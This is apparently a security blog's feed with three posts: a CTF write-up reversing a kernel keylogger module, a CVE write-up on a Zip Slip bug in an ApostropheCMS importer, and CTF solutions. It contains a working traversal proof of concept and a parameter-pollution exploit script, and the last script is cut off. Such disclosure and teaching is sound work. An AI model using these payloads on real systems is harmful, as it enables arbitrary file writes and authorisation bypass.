<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://er3n.me/feed.xml" rel="self" type="application/atom+xml" /><link href="https://er3n.me/" rel="alternate" type="text/html" /><updated>2026-06-12T07:43:30+00:00</updated><id>https://er3n.me/feed.xml</id><title type="html">0xEr3n</title><subtitle>bloggg</subtitle><author><name>0xEr3n</name><email>manu.shriyansh@gmail.com</email></author><entry><title type="html">Colossal Breach — HTB Writeup</title><link href="https://er3n.me/posts/colossal-breach-htb-writeup/" rel="alternate" type="text/html" title="Colossal Breach — HTB Writeup" /><published>2026-05-13T00:00:00+00:00</published><updated>2026-05-13T00:00:00+00:00</updated><id>https://er3n.me/posts/colossal-breach-htb-writeup</id><content type="html" xml:base="https://er3n.me/posts/colossal-breach-htb-writeup/"><![CDATA[<h2 id="synopsis">Synopsis</h2>

<p>This challenge revolves around analyzing a malicious Linux kernel module provided in the form of a <code class="language-plaintext highlighter-rouge">.ko</code> file, accompanied by log files. The kernel module functions as a keylogger, silently capturing and logging keystrokes entered by the user.</p>

<h2 id="description">Description</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>A devastating data breach has occurred, compromising one of our most secure systems. The breach has been codenamed **Colossal Breach**, reminiscent of the overwhelming force of the Colossal Titan, breaching our digital walls with unprecedented power. Our forensics team recovered a suspicious kernel object file (`.ko`) and encrypted log files from the compromised machine. Initial analysis suggests that the attackers installed a keylogging kernel module to capture sensitive credentials and exfiltrate data unnoticed.
As a member of the elite forensics squad, your mission is to analyze the kernel module and log files to uncover the attack.
</code></pre></div></div>

<h2 id="enumeration">Enumeration</h2>

<p>For this challenge, players are given the <code class="language-plaintext highlighter-rouge">.ko</code> file and logs of the keylogger.</p>

<p><img src="/assets/img/posts/colossal-breach/01-files.png" alt="Files provided in the challenge" /></p>

<h2 id="solution">Solution</h2>

<h3 id="17-can-you-identify-the-modules-author">[1/7] Can you identify the module’s author?</h3>

<p>The first step in analyzing the <code class="language-plaintext highlighter-rouge">.ko</code> file is to gather metadata using the <code class="language-plaintext highlighter-rouge">modinfo</code> command. This will provide valuable information about the module, including the author’s name.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>modinfo brainstorm.ko
</code></pre></div></div>

<p><img src="/assets/img/posts/colossal-breach/02-modinfo.png" alt="modinfo output showing the module author" /></p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">0xEr3n</code></p>

<h3 id="27-can-you-determine-the-exact-function-used-to-register-the-modules-notifier-block">[2/7] Can you determine the exact function used to register the module’s notifier block?</h3>

<p>In the disassembly of <code class="language-plaintext highlighter-rouge">init_module</code>, we can observe the function <code class="language-plaintext highlighter-rouge">register_keyboard_notifier()</code> being invoked to register the notifier block. This function is called so that the notifier block is registered as part of the initialization routine for handling keyboard events. Therefore, <code class="language-plaintext highlighter-rouge">register_keyboard_notifier()</code> is the function responsible for registering the notifier block within <code class="language-plaintext highlighter-rouge">init_module</code>.</p>

<p><img src="/assets/img/posts/colossal-breach/03-notifier.png" alt="register_keyboard_notifier called inside init_module" /></p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">register_keyboard_notifier</code></p>

<h3 id="37-what-is-the-name-of-the-function-that-converts-keycodes-to-strings">[3/7] What is the name of the function that converts keycodes to strings?</h3>

<p>Going through all the functions, we find this uniquely named function called <code class="language-plaintext highlighter-rouge">keycode_to_string</code>.</p>

<p><img src="/assets/img/posts/colossal-breach/04-keycode-func.png" alt="keycode_to_string function in the disassembly" /></p>

<p>The function converts raw keyboard input into a readable format by referencing predefined keycodes in memory. It checks the input validity based on the event type stored in <code class="language-plaintext highlighter-rouge">rcx</code> and the input parameters’ ranges. Depending on the value of <code class="language-plaintext highlighter-rouge">rcx</code>, it uses <code class="language-plaintext highlighter-rouge">snprintf</code> to format the output as either hexadecimal or decimal strings. Keycodes are retrieved from specific memory offsets calculated from <code class="language-plaintext highlighter-rouge">rdi</code>, allowing for the effective transformation of raw keypress data into structured output.</p>

<p><img src="/assets/img/posts/colossal-breach/05-keycode-details.png" alt="Inner logic of keycode_to_string" /></p>

<p>The keycodes are stored in memory and are being used to convert the keystrokes.</p>

<p><img src="/assets/img/posts/colossal-breach/06-keycode-memory.png" alt="Keycode table in memory" /></p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">keycode_to_string</code></p>

<h3 id="47-can-you-identify-any-specific-kernel-functions-or-apis-that-this-module-uses-for-storing-the-keystrokes">[4/7] Can you identify any specific kernel functions or APIs that this module uses for storing the keystrokes?</h3>

<p>Again looking into the <code class="language-plaintext highlighter-rouge">spy_cb</code> function we can identify this piece of code which is responsible for storing keystrokes.</p>

<p><img src="/assets/img/posts/colossal-breach/07-spy-cb.png" alt="spy_cb function storing keystrokes via strncpy" /></p>

<p>The function stores keystrokes in a buffer tracked by <code class="language-plaintext highlighter-rouge">buf_pos</code>, which indicates the current position for new data. It calculates the new position by adding the length of the incoming key representation (<code class="language-plaintext highlighter-rouge">rax_6</code>) to <code class="language-plaintext highlighter-rouge">buf_pos</code>, resulting in <code class="language-plaintext highlighter-rouge">rbx_1</code>. Before storing, it checks if <code class="language-plaintext highlighter-rouge">rbx_1</code> exceeds the buffer length (<code class="language-plaintext highlighter-rouge">0x3fff</code>) to prevent overflow; if so, it resets <code class="language-plaintext highlighter-rouge">rbx_1</code> to <code class="language-plaintext highlighter-rouge">rax_6</code>. <strong>The function then uses <code class="language-plaintext highlighter-rouge">strncpy</code> to copy the formatted keystroke data from <code class="language-plaintext highlighter-rouge">var_1c</code> into the buffer at position <code class="language-plaintext highlighter-rouge">rdi_5</code>, ensuring the length copied is <code class="language-plaintext highlighter-rouge">rax_6</code>.</strong> Finally, it updates <code class="language-plaintext highlighter-rouge">buf_pos</code> to reflect the new position for subsequent keystrokes.</p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">strncpy</code></p>

<h3 id="57-what-specific-files-does-this-module-create-for-the-storage-of-logs-provide-the-full-path">[5/7] What specific files does this module create for the storage of logs? Provide the full path.</h3>

<p>The <code class="language-plaintext highlighter-rouge">init_module()</code> function creates a debugfs file named <code class="language-plaintext highlighter-rouge">keys</code> within a directory called <code class="language-plaintext highlighter-rouge">spyyy</code>, which is used for logging keystrokes captured by the module. Debugfs is a virtual filesystem in the Linux kernel primarily used for debugging and monitoring purposes, providing an interface for kernel developers and system administrators to access kernel-related information. The <code class="language-plaintext highlighter-rouge">keys</code> file serves as a writable log, allowing the kernel module to store formatted keystroke data in real time.</p>

<p><img src="/assets/img/posts/colossal-breach/08-debugfs.png" alt="debugfs file creation in init_module" /></p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">/sys/kernel/debug/spyyy/keys</code></p>

<h3 id="67-what-is-the-message-printed-by-the-module-when-it-is-imported">[6/7] What is the message printed by the module when it is imported?</h3>

<p>We can find this by analysing the kernel logs after importing the kernel module on our own. Once we have inserted the kernel module, we can check for printed messages by the module in kernel logs using <code class="language-plaintext highlighter-rouge">dmesg</code>.</p>

<p><img src="/assets/img/posts/colossal-breach/09-dmesg.png" alt="dmesg output showing the module's print message" /></p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">w00tw00t</code></p>

<h3 id="77-what-is-the-password-for-adam-found-in-the-keyloggers-log">[7/7] What is the password for Adam found in the keylogger’s log?</h3>

<p>Analyzing all the functions, we can understand that the logs are being saved in the <code class="language-plaintext highlighter-rouge">/sys/kernel/debug/spyyy/keys</code> file but they are in an encrypted form.</p>

<p>If we pay some attention to the <code class="language-plaintext highlighter-rouge">spy_cb</code> function, there is some modification with the processed keystrokes — it first determines the length of the input string stored in <code class="language-plaintext highlighter-rouge">var_1c</code> using the <code class="language-plaintext highlighter-rouge">strnlen</code> function, which stores this length in <code class="language-plaintext highlighter-rouge">rax_6</code>. If the length is greater than zero, the function sets a pointer, <code class="language-plaintext highlighter-rouge">rcx_3</code>, to the beginning of <code class="language-plaintext highlighter-rouge">var_1c</code> and calculates <code class="language-plaintext highlighter-rouge">rax_7</code> to point to the end of the string.</p>

<p>A <code class="language-plaintext highlighter-rouge">do-while</code> loop is employed to iterate through each character of the string, where each character is <strong>XORed</strong> with a fixed key value of <strong><code class="language-plaintext highlighter-rouge">0x19</code></strong>. This operation modifies the original keystroke data, effectively obfuscating it through a bitwise XOR operation.</p>

<p><img src="/assets/img/posts/colossal-breach/10-xor-loop.png" alt="XOR loop in spy_cb that obfuscates each character with 0x19" /></p>

<p>In order to decrypt the logs, we can use CyberChef.</p>

<p><img src="/assets/img/posts/colossal-breach/11-cyberchef.png" alt="CyberChef XOR recipe used to decode the log file" /></p>

<p>Now that we have the logs, let’s check them for any password related to Adam. We find the password in the logs!</p>

<p><img src="/assets/img/posts/colossal-breach/12-password.png" alt="Decoded log showing Adam's password" /></p>

<p><strong>Answer:</strong> <code class="language-plaintext highlighter-rouge">supers3cur3passw0rd</code></p>]]></content><author><name>0xEr3n</name><email>manu.shriyansh@gmail.com</email></author><category term="htb" /><category term="challenge" /><category term="reversing" /><summary type="html"><![CDATA[Reverse-engineering a malicious Linux kernel keylogger module — author writeup of the Colossal Breach HTB challenge.]]></summary></entry><entry><title type="html">CVE-2026-32731 — Zip Slip</title><link href="https://er3n.me/posts/CVE-2026-32731/" rel="alternate" type="text/html" title="CVE-2026-32731 — Zip Slip" /><published>2026-03-18T00:00:00+00:00</published><updated>2026-03-18T00:00:00+00:00</updated><id>https://er3n.me/posts/CVE-2026-32731</id><content type="html" xml:base="https://er3n.me/posts/CVE-2026-32731/"><![CDATA[<blockquote>
  <p>CVE-2026-32731 · CVSS 9.1 (Critical) · Patched in <code class="language-plaintext highlighter-rouge">@apostrophecms/import-export@3.5.3</code></p>
</blockquote>

<p>The bug is one line of code. The impact is arbitatory file write on any ApostropheCMS install that lets editors import content. This post walks through why that’s possible — and why “Zip Slip” continues to be one of the most reliably re-introduced vulnerability classes in Node.js, eight years after the original disclosure named the category.</p>

<h2 id="the-class-of-bug-zip-slip">The class of bug: Zip Slip</h2>

<p>Zip Slip is the path-traversal cousin of every other archive-extraction vulnerability. The pattern is universal:</p>

<ol>
  <li>A program receives an archive (<code class="language-plaintext highlighter-rouge">.zip</code>, <code class="language-plaintext highlighter-rouge">.tar</code>, <code class="language-plaintext highlighter-rouge">.tar.gz</code>, anything).</li>
  <li>For each entry, it joins the entry’s filename with a destination directory.</li>
  <li>It opens that joined path for writing.</li>
</ol>

<p>If the entry name is <code class="language-plaintext highlighter-rouge">subdir/file.txt</code>, everything is fine. But the archive format does not forbid entries named <code class="language-plaintext highlighter-rouge">../../../../etc/passwd</code>. The tar/zip spec is just bytes. If the extraction code doesn’t verify that the final resolved path is <em>still inside the destination directory</em>, the entry can write anywhere the process has permission to reach.</p>

<h2 id="the-bug-in-twelve-lines">The bug, in twelve lines</h2>

<p>The vulnerable function lives in <code class="language-plaintext highlighter-rouge">packages/import-export/lib/formats/gzip.js</code>. Stripped to the essentials:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">extract</span><span class="p">(</span><span class="nx">filepath</span><span class="p">,</span> <span class="nx">exportPath</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// ...</span>
  <span class="nx">extract</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">entry</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">header</span><span class="p">,</span> <span class="nx">stream</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">stream</span><span class="p">.</span><span class="nx">pipe</span><span class="p">(</span>
      <span class="nx">fs</span><span class="p">.</span><span class="nx">createWriteStream</span><span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">exportPath</span><span class="p">,</span> <span class="nx">header</span><span class="p">.</span><span class="nx">name</span><span class="p">))</span>
    <span class="p">);</span>
    <span class="nx">stream</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">end</span><span class="dl">'</span><span class="p">,</span> <span class="nx">next</span><span class="p">);</span>
  <span class="p">});</span>
  <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">header.name</code> comes directly from the tar entry. <code class="language-plaintext highlighter-rouge">path.join(exportPath, header.name)</code> concatenates them. The write stream opens at the joined path without any check that it still sits under <code class="language-plaintext highlighter-rouge">exportPath</code>. That’s the entire bug.</p>

<h2 id="why-pathjoin-is-not-the-safety-check-it-looks-like">Why <code class="language-plaintext highlighter-rouge">path.join()</code> is not the safety check it looks like</h2>

<p>This is the part worth dwelling on, because the mistake is exactly the kind a careful engineer would make.</p>

<p><code class="language-plaintext highlighter-rouge">path.join()</code> performs <em>string normalization</em>, not <em>boundary enforcement</em>. It collapses <code class="language-plaintext highlighter-rouge">./</code>, deduplicates separators, and resolves <code class="language-plaintext highlighter-rouge">..</code> segments — but it will happily resolve <code class="language-plaintext highlighter-rouge">..</code> past the base directory:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">/safe/extract/dir</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">../../evil.js</span><span class="dl">'</span><span class="p">)</span>
<span class="dl">'</span><span class="s1">/safe/evil.js</span><span class="dl">'</span>        <span class="c1">// two levels up. no error, no warning.</span>
</code></pre></div></div>

<p>There is no configuration on <code class="language-plaintext highlighter-rouge">path.join()</code> that prevents this. The Node docs say so plainly — it joins segments, it does not sandbox them.</p>

<p>The defence developers reach for instinctively — <code class="language-plaintext highlighter-rouge">path.join(base, untrusted)</code> — is <em>exactly</em> the wrong primitive. What you actually need is:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">resolved</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="nx">exportPath</span><span class="p">,</span> <span class="nx">header</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">root</span>     <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="nx">exportPath</span><span class="p">)</span> <span class="o">+</span> <span class="nx">path</span><span class="p">.</span><span class="nx">sep</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">resolved</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="nx">root</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s2">`Path traversal blocked: </span><span class="p">${</span><span class="nx">header</span><span class="p">.</span><span class="nx">name</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">path.resolve()</code> produces an absolute, normalized path. The <code class="language-plaintext highlighter-rouge">startsWith()</code> check confirms it stays under the base.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Minimum viable Zip Slip — a Node script that builds a <code class="language-plaintext highlighter-rouge">.tar.gz</code> with the entries the importer expects, plus one traversal entry, then feeds it to the vulnerable <code class="language-plaintext highlighter-rouge">extract()</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">tar</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">tar-stream</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">pack</span> <span class="o">=</span> <span class="nx">tar</span><span class="p">.</span><span class="nx">pack</span><span class="p">();</span>

<span class="c1">// Required by the importer or it errors out before reaching our payload</span>
<span class="nx">pack</span><span class="p">.</span><span class="nx">entry</span><span class="p">({</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">aposDocs.json</span><span class="dl">'</span> <span class="p">},</span> <span class="dl">'</span><span class="s1">[]</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">pack</span><span class="p">.</span><span class="nx">entry</span><span class="p">({</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">aposAttachments.json</span><span class="dl">'</span> <span class="p">},</span> <span class="dl">'</span><span class="s1">[]</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// The traversal payload</span>
<span class="nx">pack</span><span class="p">.</span><span class="nx">entry</span><span class="p">({</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">../../zip-slip-pwned.txt</span><span class="dl">'</span> <span class="p">},</span> <span class="dl">'</span><span class="s1">PWNED</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">pack</span><span class="p">.</span><span class="nx">finalize</span><span class="p">();</span>
<span class="c1">// pipe → gzip → write to disk → hand to extract()</span>
</code></pre></div></div>

<p>Running this against the vulnerable function lands the write two directories above the intended extraction root:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EXPORT_PATH:             /tmp/apos-zip-slip-XXXXXX/evil-export
EXPECTED_OUTSIDE_WRITE:  /tmp/zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:         PWNED
</code></pre></div></div>

<p>From there, swapping <code class="language-plaintext highlighter-rouge">../../zip-slip-pwned.txt</code> for <code class="language-plaintext highlighter-rouge">../../public/x.html</code> (or whatever path the chain demands) is purely a question of counting <code class="language-plaintext highlighter-rouge">../</code>s — usually three or four, depending on how deep the temp extraction directory sits inside the project tree.</p>

<h2 id="the-fix">The fix</h2>

<p>The patch in 3.5.3 adds the missing boundary check. After resolving each entry’s destination, the extractor verifies it’s still under the export directory before opening a write stream. Entries that fail the check are rejected, the archive is treated as malformed, and no partial files remain on disk.</p>

<p>Thanks to the ApostropheCMS security team for clean, professional handling throughout.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://github.com/advisories/GHSA-mwxc-m426-3f78">GitHub Advisory GHSA-mwxc-m426-3f78</a></li>
  <li><a href="https://security.snyk.io/research/zip-slip-vulnerability">Snyk: Zip Slip Vulnerability (2018, the original category disclosure)</a></li>
  <li><a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22: Improper Limitation of a Pathname to a Restricted Directory</a></li>
  <li><a href="https://owasp.org/www-community/attacks/Path_Traversal">OWASP: Path Traversal</a></li>
  <li><a href="https://github.com/0xEr3n/CVE-2026-32731">POC</a></li>
</ul>]]></content><author><name>0xEr3n</name><email>manu.shriyansh@gmail.com</email></author><summary type="html"><![CDATA[How a single misused path.join() call in ApostropheCMS's import module let any content editor write arbitrary files anywhere the Node process could reach — and why this class of bug keeps shipping.]]></summary></entry><entry><title type="html">TLCTF 2025 writeups</title><link href="https://er3n.me/posts/tlctf-2025-writeups/" rel="alternate" type="text/html" title="TLCTF 2025 writeups" /><published>2025-12-20T00:00:00+00:00</published><updated>2025-12-20T00:00:00+00:00</updated><id>https://er3n.me/posts/tlctf-2025-writeups</id><content type="html" xml:base="https://er3n.me/posts/tlctf-2025-writeups/"><![CDATA[<h2 id="secure-api">Secure API</h2>

<p>The challenge presents a Flask API with a critical authorization bypass in the <code class="language-plaintext highlighter-rouge">/api/balance</code> endpoint. Examining the source code reveals the flaw at lines 107-115:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">target</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">target</span> <span class="ow">and</span> <span class="n">target</span> <span class="o">!=</span> <span class="n">auth_user</span><span class="p">:</span>
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">'error'</span><span class="p">:</span> <span class="s">'unauthorized'</span><span class="p">}),</span> <span class="mi">403</span>

<span class="n">query_target</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">getlist</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">query_target</span><span class="p">:</span>
    <span class="n">actual_target</span> <span class="o">=</span> <span class="n">query_target</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>  <span class="c1"># Uses LAST element
</span></code></pre></div></div>

<p>The vulnerability stems from inconsistent parameter handling. The authorization check uses <code class="language-plaintext highlighter-rouge">request.args.get('username')</code>, which returns only the <strong>first value</strong> when multiple parameters exist, while the actual database query uses <code class="language-plaintext highlighter-rouge">request.args.getlist('username')[-1]</code>, which retrieves the <strong>last value</strong>. By supplying <code class="language-plaintext highlighter-rouge">username</code> twice—first with our authenticated user and second with <code class="language-plaintext highlighter-rouge">admin</code>—we bypass the authorization check (which validates only the first parameter) while retrieving the admin’s balance (using the last parameter).</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>

<span class="n">url</span> <span class="o">=</span> <span class="s">"https://tlctf2025-api.chals.io/"</span>

<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"username"</span><span class="p">:</span> <span class="s">"mewtwo"</span><span class="p">,</span> <span class="s">"password"</span><span class="p">:</span> <span class="s">"mewtwo"</span><span class="p">}</span>

<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">"/api/register"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>

<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">"/api/login"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">json</span><span class="p">().</span><span class="n">get</span><span class="p">(</span><span class="s">"token"</span><span class="p">)</span>

<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s">"Authorization"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"Bearer </span><span class="si">{</span><span class="n">token</span><span class="si">}</span><span class="s">"</span><span class="p">}</span>
<span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s">"username"</span><span class="p">:</span> <span class="p">[</span><span class="s">"mewtwo"</span><span class="p">,</span> <span class="s">"admin"</span><span class="p">]}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">"/api/balance"</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="n00brandomness">N00bRandomness</h2>

<p>The challenge implements a flawed stream cipher using a Linear Congruential Generator (LCG)-based keystream:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_step</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="n">z</span> <span class="o">+</span> <span class="n">y</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>

<span class="k">def</span> <span class="nf">_mask_bytes</span><span class="p">(</span><span class="n">payload</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">x</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">y</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">seed</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">seed</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
    <span class="n">out</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">_step</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span>
        <span class="n">out</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">b</span> <span class="o">^</span> <span class="n">s</span><span class="p">)</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
</code></pre></div></div>

<p>The cipher encrypts three messages (<code class="language-plaintext highlighter-rouge">msg1</code>, <code class="language-plaintext highlighter-rouge">msg2</code>, <code class="language-plaintext highlighter-rouge">flag</code>) using:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ciphertext = plaintext ⊕ keystream
</code></pre></div></div>

<p>All three ciphertexts reuse the same keystream derived from identical parameters <code class="language-plaintext highlighter-rouge">(A, C, SEED)</code>.</p>

<p>With <code class="language-plaintext highlighter-rouge">msg1</code> plaintext known, the keystream is trivially recovered. Since the flag uses the same keystream from the beginning, it can be decrypted by xor of <code class="language-plaintext highlighter-rouge">ct3</code> and<code class="language-plaintext highlighter-rouge"> keystream</code>
Stream cipher keystream reuse enables a <strong>known-plaintext attack</strong>.</p>
<h3 id="solution">Solution</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="n">PLAIN1_HEX</span> <span class="o">=</span> <span class="s">"57656c636f6d6520746f206d7920756c7472612073656375726520656e6372797074696f6e2073657276696365210a54686973206d6573736167652069732066756c6c79206b6e6f776e20746f20796f752e0a537572656c7920796f752063616e6e6f7420627265616b206d792074686973206369706865722e2e2e0a"</span>
<span class="n">CIPH1_HEX</span>  <span class="o">=</span> <span class="s">"c6956bf53271f6a2dda7bf830cd45eb6b5d25666fea9a047ab1deffbcbc729f381240e99d35c80877b5e962db075816e4969e486804950e158bf4ade6c779b8c24dcab2f3db73d2d1ee67fda5a9492f5f44efd5538fee69ee018f6311044782bdf7e48c25d5ec1c7a8839f63ec343f9288b37705c49c8b378bb6c190cf"</span>
<span class="n">CIPH3_HEX</span>  <span class="o">=</span> <span class="s">"e58272e5297fe7e4d2b1af9b2a901bb4b5ff0430bea29c5cea4babc197fb39d5823d5384c923c7bd7d40ce7ba8"</span>

<span class="k">def</span> <span class="nf">lcg_step</span><span class="p">(</span><span class="n">a</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">c</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">s</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">a</span> <span class="o">*</span> <span class="n">s</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>

<span class="k">def</span> <span class="nf">verify_params</span><span class="p">(</span><span class="n">a</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">c</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">keystream</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">keystream</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">keystream</span><span class="p">)):</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">lcg_step</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">s</span> <span class="o">!=</span> <span class="n">keystream</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
            <span class="k">return</span> <span class="bp">False</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">generate_keystream</span><span class="p">(</span><span class="n">a</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">c</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">start</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">length</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">start</span>
    <span class="n">out</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
